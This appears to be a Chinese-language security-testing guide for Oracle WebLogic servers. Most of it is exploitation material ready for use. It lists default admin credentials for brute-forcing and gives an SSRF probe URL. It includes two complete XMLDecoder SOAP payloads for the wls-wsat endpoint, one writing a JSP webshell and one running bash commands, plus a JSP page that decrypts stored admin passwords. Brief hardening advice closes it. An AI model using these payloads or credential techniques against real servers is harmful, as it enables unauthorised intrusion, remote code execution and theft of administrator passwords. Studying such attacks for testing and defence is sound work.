针对Weblogic测试的一些小总结
字数 1144 2025-08-29 08:32:02
WebLogic安全测试全面指南
1. WebLogic简介
Oracle WebLogic Server是一个基于Java EE架构的应用服务器,广泛用于企业级应用部署。由于其广泛使用,WebLogic也成为安全测试的重点目标。
2. 常见WebLogic安全漏洞及测试方法
2.1 管理员登录页面弱密码漏洞
测试方法:
- 默认端口:7001
- 常见默认凭证:
- weblogic/Oracle@123
- weblogic/weblogic
- 其他猜测方向:
- 公司名称相关组合
- 人名相关组合
- 自动化工具:
- 使用Burp Suite的Intruder模块进行暴力破解
利用方法:
- 成功登录后可通过上传WAR包获取WebShell
2.2 SSRF(服务器端请求伪造)漏洞
检测方法:
- 检查是否存在以下URL:
http://[目标IP]:7001/uddiexplorer/SearchPublicRegistries.jsp - 测试Payload示例:
http://[目标IP]:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:139&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search - 端口状态判断:
- 开放端口会返回不同响应
- 未开放端口会返回错误
2.3 反序列化漏洞
测试要点:
- 已有多种公开工具可用
- 常见利用点:
- T3协议
- IIOP协议
- 建议使用成熟的测试工具如:
- ysoserial
- WebLogicExploit
2.4 WebLogic UAC(未授权访问)漏洞
利用步骤:
方法一:直接上传WebShell
- 发送POST请求到:
http://x.x.x.x:7001/wls-wsat/CoordinatorPortType - 添加Header:
Content-Type: text/xml - 请求体Payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string> <void method="println"> <string><![CDATA[<% out.println("test"); %>]]></string> </void> <void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>- 默认路径:
servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/ - 注意:代码中不要包含中文,否则可能报错
- 默认路径:
方法二:Linux系统路径爆破
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.xmlDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type d -name war;done|while read ff;do echo $ff >$ff/a.txt;done</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2.5 WebLogic密码解密
在线解密方法:
- 获取加密密码(通常在
boot.properties文件中)- 默认路径:
../../../Server/security/boot.properties
- 默认路径:
- 创建JSP解密页面:
<%@page pageEncoding="utf-8"%> <%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%> <% EncryptionService es = null; ClearOrEncryptedService ces = null; String s = null; s="{AES}wfFNcH6k+9Nz22r1gCMnylgUr9Ho5kz8nDgib/TuOZU="; es = SerializedSystemIni.getEncryptionService(); if (es == null) { out.println("Unable to initialize encryption service"); return; } ces = new ClearOrEncryptedService(es); if (s != null) { out.println("\nDecrypted Password is:" + ces.decrypt(s)); } %>
离线解密方法:
需要两个文件:
SerializedSystemIni.datboot.properties
3. 防御建议
-
密码安全
- 修改默认密码
- 使用强密码策略
- 定期更换密码
-
漏洞修复
- 及时安装官方安全补丁
- 禁用不必要的服务(如uddiexplorer)
- 限制管理控制台访问IP
-
配置加固
- 关闭调试信息
- 限制文件上传类型
- 配置适当的访问控制
-
监控与审计
- 启用安全审计日志
- 监控异常访问行为
- 定期进行安全评估
4. 总结
WebLogic作为企业级应用服务器,其安全性至关重要。本文涵盖了常见的WebLogic安全漏洞及测试方法,包括弱密码、SSRF、反序列化、未授权访问等漏洞的检测与利用方法,以及密码解密技术。安全测试人员应掌握这些技术以评估系统安全性,管理员则应采取相应措施加固WebLogic服务器。